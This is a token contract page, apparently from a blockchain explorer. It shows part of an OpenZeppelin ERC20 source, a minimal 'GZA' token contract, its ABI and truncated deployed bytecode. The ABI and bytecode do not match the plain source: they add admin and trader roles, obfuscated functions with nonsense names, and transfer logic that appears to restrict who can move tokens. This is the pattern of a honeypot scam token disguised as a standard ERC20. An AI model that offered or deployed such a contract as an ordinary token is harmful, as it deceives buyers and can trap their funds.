        emit Transfer(from, to, value);
    }

    /**
     * @dev Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0).
     * Relies on the `_update` mechanism
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
     * Relies on the `_update` mechanism.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(
        address owner,
        address spender,
        uint256 value
    ) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     * ```
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(
        address owner,
        address spender,
        uint256 value,
        bool emitEvent
    ) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 value
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(
                    spender,
                    currentAllowance,
                    value
                );
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

// File contracts/baseOpenZeppelin.sol

// Original license: SPDX_License_Identifier: MIT
pragma solidity ^0.8.20;

contract GZA is ERC20 {
    constructor(
        string memory name,
        string memory symbol,
        uint256 totalSupply,
        address hold
    ) ERC20(name, symbol) {
        _mint(hold, totalSupply * 10**decimals());
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"totalSupply","type":"uint256"},{"internalType":"address","name":"hold","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"AccessControlBadConfirmation","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bytes32","name":"neededRole","type":"bytes32"}],"name":"AccessControlUnauthorizedAccount","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"ADMIN_R","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DEFAULT_ADMIN_R","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TRADER_R","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"key","type":"string"}],"name":"getRoleB","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"key","type":"string"}],"name":"getRoleNasdas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"key","type":"string"}],"name":"getRoleWasdsaxzc","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTslasdasxzc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"key","type":"string"}],"name":"rRoleBasdasd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"a","type":"string"}],"name":"rRoleWasdasdzxc","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"callerConfirmation","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"key","type":"string"}],"name":"sRoleBasdasxc","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"key","type":"string"},{"internalType":"uint256","name":"n","type":"uint256"}],"name":"sRoleNasdasdxzc","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"a","type":"string"}],"name":"sRoleWasdasdxzc","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"swap","type":"string"}],"name":"setSwapasdaszx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"int256","name":"t","type":"int256"}],"name":"sknockasdasxc","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updatetTSLasdaszx","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040525f600755348015610013575f5ffd5b5060405161478f38038061478f833981810160405281019061003591906106d6565b838381600490816100469190610979565b5080600590816100569190610979565b506100765f5f1b61006b6100f460201b60201c565b6100fb60201b60201c565b506100b47f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e6100a96100f460201b60201c565b6100fb60201b60201c565b5050506100eb816100c96101f060201b60201c565b600a6100d59190610bb0565b846100e09190610bfa565b6101f860201b60201c565b50505050610cf3565b5f33905090565b5f61010c838361027d60201b60201c565b6101e65760015f5f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506101836100f460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a4600190506101ea565b5f90505b92915050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610268575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161025f9190610c4a565b60405180910390fd5b6102795f83836102e060201b60201c565b5050565b5f5f5f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610330578060035f8282546103249190610c63565b92505081905550610400565b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156103ba578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016103b193929190610ca5565b60405180910390fd5b81810360015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610447578060035f8282540392505081905550610492565b8060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516104ef9190610cda565b60405180910390a3505050565b5f604051905090565b5f5ffd5b5f5ffd5b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61055b82610515565b810181811067ffffffffffffffff8211171561057a57610579610525565b5b80604052505050565b5f61058c6104fc565b90506105988282610552565b919050565b5f67ffffffffffffffff8211156105b7576105b6610525565b5b6105c082610515565b9050602081019050919050565b8281835e5f83830152505050565b5f6105ed6105e88461059d565b610583565b90508281526020810184848401111561060957610608610511565b5b6106148482856105cd565b509392505050565b5f82601f8301126106305761062f61050d565b5b81516106408482602086016105db565b91505092915050565b5f819050919050565b61065b81610649565b8114610665575f5ffd5b50565b5f8151905061067681610652565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6106a58261067c565b9050919050565b6106b58161069b565b81146106bf575f5ffd5b50565b5f815190506106d0816106ac565b92915050565b5f5f5f5f608085870312156106ee576106ed610505565b5b5f85015167ffffffffffffffff81111561070b5761070a610509565b5b6107178782880161061c565b945050602085015167ffffffffffffffff81111561073857610737610509565b5b6107448782880161061c565b935050604061075587828801610668565b9250506060610766878288016106c2565b91505092959194509250565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806107c057607f821691505b6020821081036107d3576107d261077c565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026108357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826107fa565b61083f86836107fa565b95508019841693508086168417925050509392505050565b5f819050919050565b5f61087a61087561087084610649565b610857565b610649565b9050919050565b5f819050919050565b61089383610860565b6108a761089f82610881565b848454610806565b825550505050565b5f5f905090565b6108be6108af565b6108c981848461088a565b505050565b5b818110156108ec576108e15f826108b6565b6001810190506108cf565b5050565b601f82111561093157610902816107d9565b61090b846107eb565b8101602085101561091a578190505b61092e610926856107eb565b8301826108ce565b50505b505050565b5f82821c905092915050565b5f6109515f1984600802610936565b1980831691505092915050565b5f6109698383610942565b9150826002028217905092915050565b61098282610772565b67ffffffffffffffff81111561099b5761099a610525565b5b6109a582546107a9565b6109b08282856108f0565b5f60209050601f8311600181146109e1575f84156109cf578287015190505b6109d9858261095e565b865550610a40565b601f1984166109ef866107d9565b5f5b82811015610a16578489015182556001820191506020850194506020810190506109f1565b86831015610a335784890151610a2f601f891682610942565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b6001851115610aca57808604811115610aa657610aa5610a48565b5b6001851615610ab55780820291505b8081029050610ac385610a75565b9450610a8a565b94509492505050565b5f82610ae25760019050610b9d565b81610aef575f9050610b9d565b8160018114610b055760028114610b0f57610b3e565b6001915050610b9d565b60ff841115610b2157610b20610a48565b5b8360020a915084821115610b3857610b37610a48565b5b50610b9d565b5060208310610133831016604e8410600b8410161715610b735782820a905083811115610b6e57610b6d610a48565b5b610b9d565b610b808484846001610a81565b92509050818404811115610b9757610b96610a48565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610bba82610649565b9150610bc583610ba4565b9250610bf27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484610ad3565b905092915050565b5f610c0482610649565b9150610c0f83610649565b9250828202610c1d81610649565b91508282048414831517610c3457610c33610a48565b5b5092915050565b610c448161069b565b82525050565b5f602082019050610c5d5f830184610c3b565b92915050565b5f610c6d82610649565b9150610c7883610649565b9250828201905080821115610c9057610c8f610a48565b5b92915050565b610c9f81610649565b82525050565b5f606082019050610cb85f830186610c3b565b610cc56020830185610c96565b610cd26040830184610c96565b949350505050565b5f602082019050610ced5f830184610c96565b92915050565b613a8f80610d005f395ff3fe608060405234801561000f575f5ffd5b50600436106101d8575f3560e01c80638155684011610102578063ba9b97fc116100a0578063cdd78e8f1161006f578063cdd78e8f14610578578063d547741f14610596578063dd62ed3e146105b2578063eb594d4f146105e2576101d8565b8063ba9b97fc146104f4578063c6db9d6f14610524578063c8bfc5ee14610540578063ca55d3ff1461055c576101d8565b806395d89b41116100dc57806395d89b411461046c578063a9059cbb1461048a578063b4b3fe07146104ba578063b54e5ccc146104d6576101d8565b806381556840146104025780638546d0c71461042057806391d148541461043c576101d8565b8063248a9ca31161017a57806336eaf8941161014957806336eaf89414610368578063478293b5146103985780634c9ccccc146103a257806370a08231146103d2576101d8565b8063248a9ca3146102e25780632f2ff15d14610312578063313ce5671461032e57806336568abe1461034c576101d8565b8063134d981c116101b6578063134d981c1461025a57806318160ddd1461027657806323b872dd1461029457806323e7e610146102c4576101d8565b806301ffc9a7146101dc57806306fdde031461020c578063095ea7b31461022a575b5f5ffd5b6101f660048036038101906101f191906129a0565b6105fe565b60405161020391906129e5565b60405180910390f35b610214610677565b6040516102219190612a6e565b60405180910390f35b610244600480360381019061023f9190612b1b565b610707565b60405161025191906129e5565b60405180910390f35b610274600480360381019061026f9190612c85565b610729565b005b61027e6107bc565b60405161028b9190612cdb565b60405180910390f35b6102ae60048036038101906102a99190612cf4565b6107c5565b6040516102bb91906129e5565b60405180910390f35b6102cc6107f3565b6040516102d99190612d5c565b60405180910390f35b6102fc60048036038101906102f79190612d9f565b610817565b6040516103099190612d5c565b60405180910390f35b61032c60048036038101906103279190612dca565b610833565b005b610336610855565b6040516103439190612e23565b60405180910390f35b61036660048036038101906103619190612dca565b61085d565b005b610382600480360381019061037d9190612c85565b6108d8565b60405161038f9190612a6e565b60405180910390f35b6103a06109df565b005b6103bc60048036038101906103b79190612c85565b610aa0565b6040516103c99190612cdb565b60405180910390f35b6103ec60048036038101906103e79190612e3c565b610b3a565b6040516103f99190612cdb565b60405180910390f35b61040a610b80565b6040516104179190612cdb565b60405180910390f35b61043a60048036038101906104359190612e67565b610b89565b005b61045660048036038101906104519190612dca565b610d1d565b60405161046391906129e5565b60405180910390f35b610474610d80565b6040516104819190612a6e565b60405180910390f35b6104a4600480360381019061049f9190612b1b565b610e10565b6040516104b191906129e5565b60405180910390f35b6104d460048036038101906104cf9190612c85565b610e32565b005b6104de610ec4565b6040516104eb9190612d5c565b60405180910390f35b61050e60048036038101906105099190612c85565b610ee7565b60405161051b91906129e5565b60405180910390f35b61053e60048036038101906105399190612c85565b610f74565b005b61055a60048036038101906105559190612c85565b61100a565b005b61057660048036038101906105719190612ef4565b6110f5565b005b61058061112a565b60405161058d9190612d5c565b60405180910390f35b6105b060048036038101906105ab9190612dca565b611130565b005b6105cc60048036038101906105c79190612f1f565b611152565b6040516105d99190612cdb565b60405180910390f35b6105fc60048036038101906105f79190612c85565b6111d4565b005b5f7f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610670575061066f8261125d565b5b9050919050565b60606004805461068690612f8a565b80601f01602080910402602001604051908101604052809291908181526020018280546106b290612f8a565b80156106fd5780601f106106d4576101008083540402835291602001916106fd565b820191905f5260205f20905b8154815290600101906020018083116106e057829003601f168201915b5050505050905090565b5f5f6107116112c6565b905061071e8185856112cd565b600191505092915050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610753816112df565b6001600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f20836040516107949190612ff4565b90815260200160405180910390205f6101000a81548160ff0219169083151502179055505050565b5f600354905090565b5f5f6107cf6112c6565b90506107dc8582856112f3565b6107e7858585611385565b60019150509392505050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81565b5f5f5f8381526020019081526020015f20600101549050919050565b61083c82610817565b610845816112df565b61084f8383611604565b50505050565b5f6012905090565b6108656112c6565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146108c9576040517f6697b23200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6108d382826116ed565b505050565b60607f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610904816112df565b600b5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f20836040516109429190612ff4565b9081526020016040518091039020805461095b90612f8a565b80601f016020809104026020016040519081016040528092919081815260200182805461098790612f8a565b80156109d25780601f106109a9576101008083540402835291602001916109d2565b820191905f5260205f20905b8154815290600101906020018083116109b557829003601f168201915b5050505050915050919050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610a09816112df565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a73573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a97919061301e565b60098190555050565b5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610acb816112df565b600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2083604051610b099190612ff4565b90815260200160405180910390205f81548110610b2957610b28613049565b5b905f5260205f200154915050919050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f600954905090565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610bb3816112df565b5f610bbc610855565b600a610bc891906131d2565b90505f600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2085604051610c099190612ff4565b90815260200160405180910390208054905003610ca057600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2084604051610c5e9190612ff4565b90815260200160405180910390208184610c78919061321c565b908060018154018082558091505060019003905f5260205f20015f9091909190915055610d17565b8083610cac919061321c565b600a5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2085604051610cea9190612ff4565b90815260200160405180910390205f81548110610d0a57610d09613049565b5b905f5260205f2001819055505b50505050565b5f5f5f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060058054610d8f90612f8a565b80601f0160208091040260200160405190810160405280929190818152602001828054610dbb90612f8a565b8015610e065780601f10610ddd57610100808354040283529160200191610e06565b820191905f5260205f20905b815481529060010190602001808311610de957829003601f168201915b5050505050905090565b5f5f610e1a6112c6565b9050610e27818585611385565b600191505092915050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610e5c816112df565b5f600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f2083604051610e9c9190612ff4565b90815260200160405180910390205f6101000a81548160ff0219169083151502179055505050565b7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781565b5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610f12816112df565b600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f2083604051610f519190612ff4565b90815260200160405180910390205f9054906101000a900460ff16915050919050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e610f9e816112df565b60405180602001604052805f815250600b5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f2083604051610feb9190612ff4565b9081526020016040518091039020908161100591906133fd565b505050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e611034816112df565b816006908161104391906133fd565b506001600c5f7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e81526020019081526020015f20836040516110859190612ff4565b90815260200160405180910390205f6101000a81548160ff0219169083151502179055506110b2826117d6565b60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e61111f816112df565b816007819055505050565b5f5f1b81565b61113982610817565b611142816112df565b61114c83836116ed565b50505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b7f5f8bfee5b3fcc809ae38c44ffc2b165a27cac7ff4ac533f5500f7526c9278a2e6111fe816112df565b6004600b5f7e1d98fead428737b4f7832af5c76b0e06739f719e6cbd03d90bca60a33be74781526020019081526020015f208360405161123e9190612ff4565b9081526020016040518091039020908161125891906134f3565b505050565b5f7f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b5f33905090565b6112da83838360016119ce565b505050565b6112f0816112eb6112c6565b611b9d565b50565b5f6112fe8484611152565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461137f5781811015611370578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401611367939291906135e7565b60405180910390fd5b61137e84848484035f6119ce565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113f5575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016113ec919061361c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611465575f6040517fec442f0500000000000000000000000000000000000000000000000000000000815260040161145c919061361c565b60405180910390fd5b5f600367ffffffffffffffff81111561148157611480612b61565b5b6040519080825280602002602001820160405280156114b457816020015b606081526020019060019003908161149f5790505b5090506114c084611bee565b815f815181106114d3576114d2613049565b5b60200260200101819052506114e783611bee565b816001815181106114fb576114fa613049565b5b602002602001018190525061150f82611eec565b8160028151811061152357611522613049565b5b60200260200101819052505f61153882612045565b9050806115465750506115ff565b611551858585612689565b5f6006805461155f90612f8a565b905011156115fc5760085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115d1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115f5919061301e565b6009819055505b50505b505050565b5f61160f8383610d1d565b6116e35760015f5f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506116806112c6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a4600190506116e7565b5f90505b92915050565b5f6116f88383610d1d565b156117cc575f5f5f8581526020019081526020015f205f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506117696112c6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16847ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a4600190506117d0565b5f90505b92915050565b5f5f829050602a81511461181f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118169061367f565b60405180910390fd5b5f5f90505f600290505b602a8110156119c3575f83828151811061184657611845613049565b5b602001015160f81c60f81b60f81c60ff16905060308173ffffffffffffffffffffffffffffffffffffffff1610158015611897575060398173ffffffffffffffffffffffffffffffffffffffff1611155b156118b0576030816118a9919061369d565b905061199b565b60418173ffffffffffffffffffffffffffffffffffffffff16101580156118ee575060468173ffffffffffffffffffffffffffffffffffffffff1611155b1561190757603781611900919061369d565b905061199a565b60618173ffffffffffffffffffffffffffffffffffffffff1610158015611945575060668173ffffffffffffffffffffffffffffffffffffffff1611155b1561195e57605781611957919061369d565b9050611999565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199090613754565b60405180910390fd5b5b5b806010846119a99190613772565b6119b391906137b3565b9250508080600101915050611829565b508092505050919050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611a3e575f6040517fe602df05000000000000000000000000000000000000000000000000000000008152600401611a35919061361c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611aae575f6040517f94280d62000000000000000000000000000000000000000000000000000000008152600401611aa5919061361c565b60405180